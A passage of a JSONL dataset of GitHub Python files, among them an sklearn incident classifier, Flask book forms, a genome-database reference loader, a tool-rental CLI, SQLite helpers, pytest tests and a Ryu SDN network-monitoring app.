GaiaTestCase.tearDown(self)\n","repo_name":"mozilla-b2g/gaia","sub_path":"tests/python/gaia-ui-tests/gaiatest/tests/functional/messages/test_sms_with_attachments.py","file_name":"test_sms_with_attachments.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":2101,"dataset":"github-code","pt":"20"} +{"seq_id":"14632104835","text":"import pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\n\n# Load the dataset into a pandas DataFrame\ndf = pd.read_csv('Top 5000 Incidents-dex-2.csv')\n\n# Preprocess the data\ndf = df.fillna(-1)\n\n# Create a machine learning model\nmodel = RandomForestClassifier()\n\n# Split the data into a training and validation set\ntrain_df = df.sample(frac=0.8, random_state=1)\nval_df = df.drop(train_df.index)\n\n# Train the model\nX_train = train_df.drop(columns=['Severity'])\ny_train = train_df['Severity']\nmodel.fit(X_train, y_train)\n\n# Calculate the accuracy on the validation set\nX_val = val_df.drop(columns=['Severity'])\ny_val = val_df['Severity']\naccuracy = model.score(X_val, y_val)\nprint(f'Validation accuracy: {accuracy:.2f}')\n\n# Use the model to predict the incident column on the entire dataset\ndf['prediction'] = model.predict(df.drop(columns=['Severity']))\n\n# Calculate the most occurred incidents\nmost_occurred = df['prediction'].value_counts().reset_index().rename(columns={'index': 'Severity', 'prediction': 'count'}).sort_values('count', ascending=False)\nprint(most_occurred)\n","repo_name":"suneelyadava/Common-Tools-Utils","sub_path":"modeltofindallincidentbasedonseverity.py","file_name":"modeltofindallincidentbasedonseverity.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"7517885869","text":"\"\"\"Forms\"\"\"\n\n\nfrom __future__ import annotations\nfrom datetime import datetime\nfrom flask_wtf import FlaskForm\nfrom flask_wtf.file import FileField, FileAllowed, FileRequired\nfrom wtforms.fields.html5 import IntegerField, DecimalField\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import (\n DataRequired,\n Length,\n Optional,\n Regexp,\n NumberRange,\n ValidationError\n )\nfrom . import isbn_validator\n\n\ndef validate_year(_: FlaskForm, field: IntegerField) -> None:\n if field.data < 0 or field.data > datetime.now().year:\n raise ValidationError(\n 'Rok musi być większy od zera i mniejszy lub równy aktualnemu'\n )\n\n\nclass BookForm(FlaskForm):\n title = StringField('Tytuł:', validators=[\n DataRequired(message=\"Tytuł jest wymagany\"),\n Length(\n min=2,\n max=255,\n message='Tytuł książki musi mieć od 2 do 255 znaków'\n )\n ])\n authors = StringField(\n 'Autor:',\n filters=[lambda authors: authors or None],\n validators=[\n Optional(),\n Length(\n min=2,\n max=255,\n message='Autor książki musi mieć od 2 do 255 znaków'\n )\n ]\n )\n isbn = StringField(\n 'ISBN:',\n filters=[lambda isbn: isbn or None],\n validators=[\n Optional(),\n Regexp(\n isbn_validator.REGEX,\n message='ISBN musi się składać z 11 lub 13 cyfr'\n )\n ]\n )\n price = DecimalField(\n 'Cena:',\n validators=[\n Optional(),\n NumberRange(\n min=0,\n max=99999.99,\n message='Cena musi być w wysokości od 0 do 99999.99 zł'\n )\n ]\n )\n publication_year = IntegerField(\n 'Rok publikacji:',\n validators=[Optional(), validate_year]\n )\n submit = SubmitField('Zapisz')\n\n\nclass ImageForm(FlaskForm):\n image = FileField('Zdjęcie:', validators=[\n FileRequired('Zdjęcie jest wymagane'),\n FileAllowed(\n ['jpg', 'png'],\n 'Można dodać tylko obrazki w formatach jpg i png'\n )\n ])\n submit = SubmitField('Zapisz')\n","repo_name":"pawelniesiolowski/bookery","sub_path":"app/catalog/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"45056281907","text":"import os\nfrom src.models import Dbentity, Referencedbentity, Referencedocument, Referenceauthor,\\\n Referencetype, Source\nfrom scripts.loading.database_session import get_session\n\nCREATED_BY = os.environ['DEFAULT_USER']\n\n__author___ = 'sweng66'\n\n\ndef add_paper():\n\n nex_session = get_session()\n\n src = nex_session.query(Source).filter_by(display_name='SGD').one_or_none()\n source_id = src.source_id\n \n data = get_data()\n \n reference_id = insert_referencedbentity(nex_session, source_id, data)\n\n insert_author(nex_session, source_id, reference_id, data)\n\n insert_abstract(nex_session, source_id, reference_id, data)\n\n insert_referencetype(nex_session, source_id, reference_id, data)\n\n # nex_session.rollback()\n nex_session.commit()\n\n nex_session.close()\n\n \ndef insert_referencetype(nex_session, source_id, reference_id, data):\n\n x = Referencetype(display_name = data['referencetype.display_name'],\n obj_url = data['referencetype.obj_url'],\n source_id = source_id,\n reference_id = reference_id,\n created_by = CREATED_BY)\n\n nex_session.add(x)\n \ndef insert_abstract(nex_session, source_id, reference_id, data):\n\n x = Referencedocument(document_type = data['referencedocument.document_type'],\n text = data['referencedocument.text'],\n html = data['referencedocument.text'],\n source_id = source_id,\n reference_id = reference_id,\n created_by = CREATED_BY)\n\n nex_session.add(x)\n\ndef insert_author(nex_session, source_id, reference_id, data):\n\n x = Referenceauthor(display_name = data['referenceauthor.display_name'],\n obj_url = data['referenceauthor.obj_url'],\n source_id = source_id,\n reference_id = reference_id,\n author_order = 1,\n author_type = 'Author',\n created_by = CREATED_BY)\n\n nex_session.add(x)\n \ndef insert_referencedbentity(nex_session, source_id, data):\n\n x = Referencedbentity(display_name = data['dbentity.display_name'],\n source_id = source_id,\n subclass = 'REFERENCE',\n dbentity_status = 'Active',\n method_obtained = data['referencedbentity.method_obtained'],\n publication_status = data['referencedbentity.publication_status'],\n fulltext_status = data['referencedbentity.fulltext_status'],\n citation = data['referencedbentity.citation'],\n year = data['referencedbentity.year'],\n title = data['referencedbentity.title'],\n created_by = CREATED_BY)\n nex_session.add(x)\n nex_session.flush()\n nex_session.refresh(x)\n\n return x.dbentity_id\n\ndef get_data():\n\n return { \"dbentity.display_name\": \"Sclafani R (2021)\",\n \"referencedbentity.method_obtained\": \"Curator non-PubMed reference\",\n \"referencedbentity.publication_status\": \"Unpublished\",\n \"referencedbentity.fulltext_status\": \"NAP\",\n \"referencedbentity.citation\": \"Sclafani R (2021) Personal communication to SGD regarding cdc8 alleles\",\n \"referencedbentity.year\": 2021,\n \"referencedbentity.title\": \"Personal communication to SGD regarding cdc8 alleles\",\n \"referencedocument.document_type\": \"Abstract\",\n \"referencedocument.text\": \"All 5 cdc8 alleles (cdc8-1 to -5) are the same and are G223A (GAA to AAA) in DNA and Glu75Lys in protein. The sequences are found in my student’s Ph.D. thesis (Jin-Yuan Su, 1991). Also all these alleles are suppressed by the SOE1 missense tRNA3(Glu) suppressor (Su et al., 1990, PMID:2155851), which reads mutant AAA codons and inserts the wild-type Glu amino acid in place of the mutant Lys amino acid.\",\n \"referencetype.display_name\": \"Personal Communication to SGD\",\n \"referencetype.obj_url\": \"/referencetype/Personal_Communication_to_SGD\",\n \"referenceauthor.display_name\": \"Sclafani R\",\n \"referenceauthor.obj_url\": \"/author/Sclafani_R\"\n }\n\nif __name__ == '__main__':\n \n add_paper()\n\n \n","repo_name":"yeastgenome/SGDBackend-Nex2","sub_path":"scripts/loading/reference/add_non_pubmed_reference.py","file_name":"add_non_pubmed_reference.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"20"} +{"seq_id":"10318896791","text":"\"\"\"\nThese are all the user layer functions for core.\n\"\"\"\nimport pickle\nfrom os import stat\nfrom typing import Any\nfrom core import (wipe_trans_history,\n initialize_inventory,\n rent,\n purchase,\n return_item,\n replace_item,\n choice_num_to_item,\n is_valid_item)\n\ndef main() -> Any:\n \"\"\"\n Main function; takes the the majority of the inputs and ties the program together.\n \"\"\"\n while True:\n greet_answer = input(\"Enter the number 1 for a transaction.\\n\"\n \"To view inventory/transaction history, enter 2.\\n\"\n \"To wipe the transaction history or \"\n \"initialize the inventory, enter 3.\\n\"\n \"To view total revenue, enter 4.\\n\"\n \"Enter the number 9 to exit at any time.\\n\").strip()\n # throughout the file, there are checks for the input of 9; these are the same as cancel\n if greet_answer == '1':\n print(choose_trans())\n elif greet_answer == '2':\n option_answer = input(\n \"\\nPlease enter 1 to view inventory and 2 to view transaction history. \").strip()\n print(view_trans_or_inventory(option_answer))\n elif greet_answer == '3':\n choice = input(('\\nEnter 1 to wipe the transaction history.\\n'\n 'Enter 2 to initialize the inventory.\\n'\n 'Enter 3 to do both.\\n')).strip()\n if choice == '1':\n print(wipe_trans_history())\n elif choice == '2':\n print(initialize_inventory())\n elif choice == '3':\n print(wipe_trans_history())\n print(initialize_inventory())\n elif choice == '9':\n return '\\nHave a nice day!'\n else:\n print(\"\\nI'm sorry, I didn't catch that.\")\n elif greet_answer == '4':\n print(view_total_revenue())\n elif greet_answer == '9':\n return '\\nHave a nice day!'\n else:\n print(\"\\nI'm sorry, I didn't catch that.\")\n\n\ndef choose_trans() -> Any:\n \"\"\"\n Handles transaction choice; returns result of one of several functions.\n \"\"\"\n choice = input(\"\\nPlease enter the number according to the transaction.\\n\"\n \"1 - Rental\\n2 - Purchase\\n3 - Return\\n4 - Replace\\n\").strip().lower()\n if choice == '1':\n item_num = input(\"\\nEnter the corresponding number for your choice: \\n\"\n \"1 - Auger\\n2 - Nailgun\\n3 - Generator\\n4 - Pressure Washer\\n\"\n \"5 - Air Compressor\\n6 - Tilesaw\\n\").strip()\n time_choice = input(('\\nEnter 1 to rent the item for 5 hours.\\n'\n 'Enter 2 for one day.\\nEnter 3 for one week.\\n'\n 'Enter 4 for one month.\\n')).strip()\n if is_valid_item(choice_num_to_item(item_num)):\n return rent(choice_num_to_item(item_num), time_choice)\n elif choice == '2':\n item_num = input(\"\\nEnter the corresponding number for your choice: \\n\"\n \"1 - Auger\\n2 - Nailgun\\n3 - Generator\\n4 - Pressure Washer\\n\"\n \"5 - Air Compressor\\n6 - Tilesaw\\n\").strip()\n if is_valid_item(choice_num_to_item(item_num)):\n return purchase(choice_num_to_item(item_num))\n elif choice == '3':\n item_id = input(\"\\nPlease input the ID of the returning item.\\n\").strip().lower()\n damaged = input(\"\\nPlease enter 1 if the item is damaged and 2 if not.\\n\").strip()\n damaged_dict = {'1': True, '2': False}\n return return_item(item_id, damaged_dict[damaged])\n elif choice == '4':\n item_id = input(\"\\nPlease input the ID of the item being replaced.\\n\").strip().lower()\n return replace_item(item_id)\n elif choice == '9':\n return '\\nHave a nice day!'\n else:\n return \"\\nI'm sorry, I didn't quite catch that.\"\n\n\ndef view_trans_or_inventory(option_answer: str) -> str:\n \"\"\"\n Prints inventory or transaction history to the terminal.\n \"\"\"\n if option_answer == '1':\n with open('inventory.p', 'rb') as fin:\n if stat(\"inventory.p\").st_size == 0:\n return \"There's nothing here!\"\n data = pickle.load(fin)\n data_string = \"\"\n for key, value in data.items():\n item = \"Item - {0}\\nPrice - ${1}\\nNumber - {2}\\nIDs - {3}\\n--------------\\n\".format(\n key.replace('_', ' ').capitalize(), value['price'], value['num'], value['ids'])\n data_string += item\n return data_string\n elif option_answer == '2':\n with open('trans_history.p', 'rb') as fin:\n if stat(\"trans_history.p\").st_size == 0:\n return \"There's nothing here!\"\n data = pickle.load(fin)\n data_string = \"\"\n for each in data:\n if isinstance(each['date_due'], str):\n trans = (\"Item ID - \"+each['item_id'].upper()+\n \"\\nTransaction - \"+each['trans_type']+\n \"\\nAmount Charged - ${0:.2f}\".format(each['amount_charged'])+\"\\n\"\n \"Time Choice - \"+each['time_choice']+\n \"\\nDate Of - \"+each['date_of_trans'].strftime('%m/%d/%Y %H:%M')+\n \"\\nDue By - \"+each['date_due']+\"\\n\"\n \"Damaged on Return - \"+str(each['return_info']['damaged'])+\n \"\\nPast Due - \"+str(each['return_info']['past_due'])+\n \"\\n--------------------------\\n\")\n else:\n trans = (\"Item ID - \"+each['item_id'].upper()+\n \"\\nTransaction - \"+each['trans_type']+\n \"\\nAmount Charged - ${0:.2f}\".format(each['amount_charged'])+\"\\n\"\n \"Time Choice - \"+each['time_choice']+\n \"\\nDate Of - \"+each['date_of_trans'].strftime('%m/%d/%Y %H:%M')+\n \"\\nDue By - \"+each['date_due'].strftime('%m/%d/%Y %H:%M')+\"\\n\"\n \"Damaged on Return - \"+str(each['return_info']['damaged'])+\n \"\\nPast Due - \"+str(each['return_info']['past_due'])+\n \"\\n--------------------------\\n\")\n data_string += '\\n'+trans\n return data_string\n else:\n return \"\\nI'm sorry, I didn't quite get that.\"\n\n\ndef view_total_revenue() -> str:\n \"\"\"\n Displays total revenue to the user.\n \"\"\"\n total = 0.0\n with open('trans_history.p', 'rb') as fin:\n history = pickle.load(fin)\n for each in history:\n total += float(each['amount_charged'])\n return 'Total Revenue: ${0:.2f}'.format(total)\n\n\nif __name__ == '__main__':\n print(main())\n","repo_name":"rkeisling/tool_rental","sub_path":"tool_rental.py","file_name":"tool_rental.py","file_ext":"py","file_size_in_byte":7033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"41055170349","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 27 23:38:24 2022\r\n\r\n@author: sriva\r\n\"\"\"\r\n\r\nfrom sympy import *\r\nx, y = symbols('x y')\r\nf = Function('f')(x)\r\ny = f\r\n\r\ndef factorial(n):\r\n fact=1\r\n for i in range(1,n+1):\r\n fact *= i\r\n return fact\r\n\r\ndef taylor_series(y_diff,x0,y0,h):\r\n sum = 0\r\n for i in range(5):\r\n print(y_diff)\r\n sum += (h**i)*y_diff.subs(x,x0).subs(y,y0)/factorial(i)\r\n y_diff = diff(y_diff,x)\r\n return sum\r\n\r\ny_diff = y**2+x\r\nx0 = 0\r\ny0 = 1\r\nh = 0.1\r\n\r\nprint(taylor_series(y_diff, x0, y0, h))\r\n\r\n ","repo_name":"sri912vatsan/SCL","sub_path":"SCL PS7/Taylor.py","file_name":"Taylor.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"15003340973","text":"import ttkbootstrap as ttk\nfrom ttkbootstrap.constants import *\n\n\nclass ScrolledText(ttk.Frame):\n\n \"\"\"A text widget with a vertical scrollbar.\"\"\"\n\n def __init__(self, master=None, padding=2, bootstyle=DEFAULT, **kwargs):\n \"\"\"\n Parameters:\n\n master (Widget):\n The parent widget.\n\n padding (int):\n The amount of empty space to create on the outside of the \n widget.\n\n bootstyle (str):\n A style keyword used to set the color and style of the vertical \n scrollbar. Available options include -> primary, secondary, \n success, info, warning, danger, dark, light.\n\n **kwargs (Dict[str, Any]):\n Other keyword arguments passed to the `Text` widget.\n \"\"\"\n super().__init__(master, padding=padding)\n\n # setup text widget\n kwargs['master'] = self\n self._text = ttk.Text(**kwargs)\n self._text.pack(side=LEFT, fill=BOTH, expand=YES)\n\n # delegate text methods to frame widget\n for method in vars(ttk.Text).keys():\n if any(['pack' in method, 'grid' in method, 'place' in method]):\n pass\n else:\n setattr(self, method, getattr(self._text, method))\n\n # setup scrollbar\n self._scrollbar = ttk.Scrollbar(\n master=self, \n bootstyle=bootstyle,\n command=self._text.yview\n )\n self._scrollbar.pack(side=RIGHT, fill=Y)\n self._text.configure(yscrollcommand=self._scrollbar.set)\n\n\nif __name__ == '__main__':\n\n app = ttk.Window()\n\n nb = ttk.Notebook(app)\n t = ScrolledText(nb, padding=20, bootstyle='info-round')\n t.insert(END, 'What is this?')\n nb.add(t, text=\"My Text\")\n nb.pack()\n app.mainloop()\n\n\n ","repo_name":"gossiperG/ttkbootstrap","sub_path":"development/new_widgets/scrolledtext.py","file_name":"scrolledtext.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"33180843812","text":"import sqlite3\n\ndef create_connection(db_file):\n try:\n conn = sqlite3.connect(db_file)\n return conn\n except Error as e:\n print(e)\n return None\n\n#create table with movelist\ndef create_moveList_table():\n\tmoveList_sql = \"\"\"\n\tCREATE TABLE if not exists moves (\n id integer PRIMARY KEY,\n\tmovelist_id integer,\n\tcommand text,\n\thit_height text,\n\tstart_frame text,\n\tblock_frame text,\n\thit_frame text,\n\tdamage text) \"\"\"\n\n\treturn moveList_sql\n\n#table containing character name\ndef create_name_table():\n\tname_sql = \"\"\"\n\tCREATE TABLE if not exists name (\n\tname text) \"\"\"\n\n\treturn name_sql\n\n#insert move into moveList table\ndef insert_move(cursor, move_array):\n\tmove_insert_sql = \"\"\"\n\tINSERT INTO moves (movelist_id, command, hit_height, start_frame, block_frame, hit_frame, damage)\n\tVALUES (?,?,?,?,?,?,?)\"\"\"\n\n\tcursor.execute(move_insert_sql, (move_array[6],move_array[0],move_array[1],move_array[2],\n\t\tmove_array[3], move_array[4], move_array[5]))\n\n#insert name into name table\ndef insert_name(cursor, name):\n\tname_insert_sql = \"\"\"\n\tINSERT INTO name (name) VALUES (?) \"\"\"\n\n\tcursor.execute(name_insert_sql, (name,))\n\n#update move id\ndef update_move_id(cursor, old_id, incr_amt):\n new_id = old_id + incr_amt\n print(new_id)\n update_move_id_sql = \"\"\"\n UPDATE moves SET movelist_id = ? WHERE id = ? \"\"\"\n\n cursor.execute(update_move_id_sql, (new_id, old_id))\n","repo_name":"bhoang9/tekken_frame_helpers","sub_path":"tekken_frame_TA_sql/tekken_frame_sql_helpers.py","file_name":"tekken_frame_sql_helpers.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"43641487074","text":"import pytest\nfrom pydantic import BaseModel\nfrom devtools_cli.utils import write_model_into_file, read_file_into_model\n\n\nclass BaseModelSubclass(BaseModel):\n\tfield: str\n\n\ndef test_write_model_into_file_correctly_serializes(tmp_path):\n\tmodel_path = tmp_path / 'test.json'\n\tmodel_obj = BaseModelSubclass(field='test_value')\n\n\twrite_model_into_file(model_path, model_obj)\n\n\tresult = read_file_into_model(model_path, BaseModelSubclass)\n\tassert result.field == 'test_value'\n\n\ndef test_write_model_into_file_creates_file(tmp_path):\n\tmodel_path = tmp_path / 'test.json'\n\tmodel_obj = BaseModelSubclass(field='test_value')\n\n\twrite_model_into_file(model_path, model_obj)\n\n\tassert model_path.exists()\n\n\ndef test_write_file_into_model_raises_file_not_found_error(tmp_path):\n\tmodel_path = tmp_path\n\tmodel_obj = BaseModelSubclass(field='test_value')\n\n\twith pytest.raises(FileNotFoundError):\n\t\twrite_model_into_file(model_path, model_obj)\n","repo_name":"aabmets/devtools-cli","sub_path":"tests/test_main/test_write_model_into_file.py","file_name":"test_write_model_into_file.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"30006022249","text":"\"\"\"\n通过api.gushi.ci 获取古诗词\n\"\"\"\nimport ast\nimport random\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nclass Juzi(object):\n \"\"\"\n 获取各种句子\n \"\"\"\n def getshici(self):\n \"\"\"\n 获取古诗词\n :return:\n \"\"\"\n r = requests.get(\"https://api.gushi.ci/all.json\")\n return r.content\n\n def getdujitang(self):\n \"\"\"\n 获取毒鸡汤\n :return:\n \"\"\"\n r = requests.get(\"http://nows.fun\")\n html_r = BeautifulSoup(r.text, 'html.parser')\n r = html_r.span\n return r.text\n\n def getonesentence(self):\n \"\"\"\n 从文件 result_4 中随机获取一句话\n \"\"\"\n num = random.randrange(0, 2546)\n file = open('E:\\\\pystudy\\\\spider\\\\study-book\\\\yiyan\\\\juzi\\\\result_4.txt', 'rb')\n sentence = file.readlines()[num].decode('utf-8')\n sen = dict(ast.literal_eval(sentence))\n file.close()\n return sen['setence']\n\n\ndef main():\n \"\"\"\n 入口\n \"\"\"\n test = Juzi()\n r = test.getonesentence()\n print(r)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"wanger1995/smsweather","sub_path":"juzi/juzi.py","file_name":"juzi.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"29972647594","text":"\n# Author: lzk(moser)\n# UpdateTime: 2021/8/8\n\nfrom __future__ import division\nimport logging\nfrom operator import attrgetter\nfrom ryu.base import app_manager\nfrom ryu.controller.handler import CONFIG_DISPATCHER, MAIN_DISPATCHER, DEAD_DISPATCHER\nfrom ryu.controller.handler import set_ev_cls\nfrom ryu.ofproto import ofproto_v1_3\nfrom ryu.lib import hub\nfrom ryu.lib.packet import packet\nfrom ryu.controller import ofp_event\nfrom ryu.lib.packet import ethernet\nfrom ryu.lib.packet import arp\nfrom ryu.lib.packet import ipv4\nfrom ryu.lib.packet import udp\nfrom ryu.lib.packet import ether_types\nimport setting\nimport time\nimport binascii\n\nclass NetworkMonitor(app_manager.RyuApp):\n \"\"\"\n NetworkMonitor is a Ryu app for collecting traffic information.\n \"\"\"\n OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]\n\n def __init__(self, *args, **kwargs):\n super(NetworkMonitor, self).__init__(*args, **kwargs)\n self.name = 'monitor'\n\n # init logging\n self.logger = logging.getLogger('monitor')\n self.logger.setLevel(logging.DEBUG)\n self.formatter = logging.Formatter('%(name)s - LINE %(lineno)d - %(levelname)s - %(message)s')\n self.fh = logging.FileHandler(\"monitor.log\", mode=\"w\", encoding=\"UTF-8\")\n self.fh.setLevel(logging.DEBUG)\n self.fh.setFormatter(self.formatter)\n self.logger.addHandler(self.fh)\n\n self.datapaths = {}\n self.port_stats = {}\n self.port_speed = {}\n self.flow_stats = {}\n self.flow_speed = {}\n self.stats = {}\n self.port_features = {}\n self.free_bandwidth = {}\n self.osd_info = {}\n self.mac_to_port = {}\n self.ip_to_port = {}\n self.osd_range = {}\n self.host_info = {}\n self.packet_out_msg = []\n self.flag = 0 #trigger packet_in\n # Start to green thread to monitor traffic and calculating\n # free bandwidth of links respectively.\n self.monitor_thread = hub.spawn(self._monitor)\n\n @set_ev_cls(ofp_event.EventOFPStateChange,\n [MAIN_DISPATCHER, DEAD_DISPATCHER])\n def _state_change_handler(self, ev):\n \"\"\"\n Record datapath's info\n \"\"\"\n datapath = ev.datapath\n if ev.state == MAIN_DISPATCHER:\n if not datapath.id in self.datapaths:\n #self.logger.info('register datapath: %016x', datapath.id)\n self.datapaths[datapath.id] = datapath\n elif ev.state == DEAD_DISPATCHER:\n if datapath.id in self.datapaths:\n #self.logger.info('unregister datapath: %016x', datapath.id)\n del self.datapaths[datapath.id]\n\n def _monitor(self):\n \"\"\"\n Main entry method of monitoring traffic.\n \"\"\"\n while True:\n self.stats['flow'] = {}\n self.stats['port'] = {}\n #print (\"----------free bandwidth----------\")\n #print (self.free_bandwidth)\n #print (\"----------ip_to_port ----------\")\n #print (self.ip_to_port)\n #print (\"----------host info ----------\")\n #print(self.host_info)\n #print('----------------------\\n\\n')\n for msg in self.packet_out_msg:\n self._send_packet_out(msg, self.host_info)\n time.sleep(5)\n #print (\"----------osd_range----------\")\n #print(self.osd_range)\n #cpumem_per_host = {\"192.168.0.100\":{\"mem\":48,\"cpu\":16}, \"192.168.0.101\":{\"mem\":8,\"cpu\":6}, \"192.168.0.102\":{\"mem\":8,\"cpu\":6}, \"192.168.0.103\":{\"mem\":16,\"cpu\":8}, \"192.168.0.104\":{\"mem\":16,\"cpu\":8},\n # \"192.168.0.105\":{\"mem\":8,\"cpu\":6}, \"192.168.0.106\":{\"mem\":8,\"cpu\":6}, \"192.168.0.107\":{\"mem\":16,\"cpu\":8}, \"192.168.0.108\":{\"mem\":8,\"cpu\":8}, \"192.168.0.109\":{\"mem\":8,\"cpu\":8},\n # \"192.168.0.110\":{\"mem\":8,\"cpu\":8}, \"192.168.0.111\":{\"mem\":126,\"cpu\":64}, \"192.168.0.112\":{\"mem\":4,\"cpu\":4}, \"192.168.0.113\":{\"mem\":16,\"cpu\":16}, \"192.168.0.114\":{\"mem\":4,\"cpu\":4},\n # \"192.168.0.115\":{\"mem\":8,\"cpu\":4}, \"192.168.0.116\":{\"mem\":16,\"cpu\":8}, \"192.168.0.117\":{\"mem\":8,\"cpu\":8}, \"192.168.0.118\":{\"mem\":8,\"cpu\":6}, \"192.168.0.119\":{\"mem\":8,\"cpu\":4}}\n #host_info = self.host_info\n #osd_range = self.osd_range\n #for k,v in host_info.items():\n # if v['io'] == 0:\n # continue\n # for m,n in v['io'].items():\n # print(m,round(99999.99-v['bw'],2),round(v['cpu'] / 100 * cpumem_per_host[k]['cpu'],2),round(cpumem_per_host[k]['mem'] * v['mem'] / 100, 2),osd_range[m]['size'],osd_range[m]['per_host'],osd_range[m]['type'],osd_range[m]['pgs'],n['r'],n['w'])\n #time.sleep(5)\n #print('----------------------\\n\\n')\n # refresh data.\n #print('self.datapaths.values()', self.datapaths.values())\n for dp in self.datapaths.values():\n self.port_features.setdefault(dp.id, {})\n self._request_stats(dp)\n\n #show info\n hub.sleep(setting.MONITOR_PERIOD)\n if self.stats['flow'] or self.stats['port']:\n self.show_stat('flow')\n self.show_stat('port')\n hub.sleep(1)\n\n def _send_packet_out(self, msg, data): \n print(\"****data is\",data)\n data = str(data)\n data = data.encode(\"utf-8\")\n data = binascii.b2a_hex(data)\n datapath = msg.datapath\n ofproto = datapath.ofproto\n ofp_parser = datapath.ofproto_parser\n pkt = packet.Packet(msg.data)\n eth_header = pkt.get_protocols(ethernet.ethernet)[0]\n dst_mac = eth_header.src\n #print('dst_mac',dst_mac)\n #arp header\n #arp_header = pkt.get_protocols(arp.arp)\n #dst_ip = arp_header.src_ip\n dst_ip = '192.168.0.100'\n out_port = msg.match['in_port']\n #print('out_port', out_port)\n ether_instance = ethernet.ethernet(dst=dst_mac,\n src='00:0c:29:31:d6:02',\n ethertype=eth_header.ethertype)\n ipv4_instance = ipv4.ipv4(src='192.168.1.107', dst=dst_ip, proto=17)\n udp_instance = udp.udp(src_port=12346, dst_port=10086)\n pkt = packet.Packet()\n pkt.add_protocol(ether_instance)\n pkt.add_protocol(ipv4_instance)\n pkt.add_protocol(udp_instance)\n pkt.add_protocol(data)\n pkt.serialize()\n actions = [ofp_parser.OFPActionOutput(out_port)]\n req = ofp_parser.OFPPacketOut(datapath=datapath, buffer_id=ofproto.OFP_NO_BUFFER, in_port=ofproto.OFPP_CONTROLLER, actions=actions, data=pkt.data)\n datapath.send_msg(req)\n print('packet out finish')\n\n def _request_stats(self, datapath):\n \"\"\"\n Sending request msg to datapath\n \"\"\"\n #self.logger.info('send stats request: %016x', datapath.id)\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n req = parser.OFPPortDescStatsRequest(datapath, 0)\n datapath.send_msg(req)\n\n req = parser.OFPPortStatsRequest(datapath, 0, ofproto.OFPP_ANY)\n datapath.send_msg(req)\n\n req = parser.OFPFlowStatsRequest(datapath)\n datapath.send_msg(req)\n\n def _save_freebandwidth(self, dpid, port_no, speed):\n # Calculate free bandwidth of port and save it.\n port_state = self.port_features.get(dpid).get(port_no)\n if port_state:\n #not save Interfaces between switches\n if port_state[2] != 0:\n capacity = port_state[2]\n curr_bw = self._get_free_bw(capacity, speed)\n key = (dpid,port_no)\n if key not in setting.SW_PORT:\n self.free_bandwidth.setdefault(key, None)\n self.free_bandwidth[(dpid, port_no)] = curr_bw\n else:\n self.logger.info(\"Fail in getting port state\")\n\n def _save_stats(self, _dict, key, value, length):\n if key not in _dict:\n _dict[key] = []\n _dict[key].append(value)\n\n if len(_dict[key]) > length:\n _dict[key].pop(0)\n\n def _get_speed(self, now, pre, period):\n if period:\n return (now - pre) / (period)\n else:\n return 0\n\n def _get_free_bw(self, capacity, speed):\n # capacity:OFPPortDescStatsReply default is kbit/s\n # i change it bit/s to subtract speed(bit/s) then convert into Mbps\n freebw_tmp1 = max((capacity * 10 ** 3) - speed * 8, 0)\n freebw_tmp = float(freebw_tmp1)/10**6\n freebw = round(freebw_tmp, 2)\n return freebw\n\n def _get_time(self, sec, nsec):\n return sec + nsec / (10 ** 9)\n\n def _get_period(self, n_sec, n_nsec, p_sec, p_nsec):\n return self._get_time(n_sec, n_nsec) - self._get_time(p_sec, p_nsec)\n\n def _save_ipfreebw(self, freebw, ip_port, hostinfo):\n for key in freebw.keys():\n if key not in ip_port:\n continue\n hostinfo.setdefault(ip_port[key], {'bw':0, 'delay':0, 'cpu':0, 'mem':0, 'io':0})\n hostinfo[ip_port[key]]['bw']=freebw[key]\n def _save_udp(self, osdinfo, ip_port, hostinfo):\n for key in ip_port.keys():\n if key not in osdinfo:\n continue\n data = eval(osdinfo[key])\n if len(data) > 5:\n self.osd_range = data\n else:\n hostinfo.setdefault(ip_port[key], {'bw':0, 'delay': 0, 'cpu': 0, 'mem': 0, 'io': 0})\n #print('_save_udp:osdinfo[key]',osdinfo[key])\n #delay, cpu, mem, io = eval(osdinfo[key])\n delay, cpu, mem, io = data\n hostinfo[ip_port[key]]['delay']=delay\n hostinfo[ip_port[key]]['cpu'] = cpu\n hostinfo[ip_port[key]]['mem'] = mem\n hostinfo[ip_port[key]]['io'] = io\n\n def _parse_udp(self, dpid, port, msg_data):\n eth_data = ethernet.ethernet.parser(msg_data)[2]\n ip_data = ipv4.ipv4.parser(eth_data)[2]\n udp_data = udp.udp.parser(ip_data)[2]\n #print('_parse_udp:udp_data',udp_data)\n #delay = self._packet_analyze(udp_data)\n key = (dpid, port)\n self.osd_info[key] = udp_data\n\n @set_ev_cls(ofp_event.EventOFPSwitchFeatures, CONFIG_DISPATCHER)\n def switch_features_handler(self, ev):\n datapath = ev.msg.datapath\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n # install table-miss flow entry\n #\n # We specify NO BUFFER to 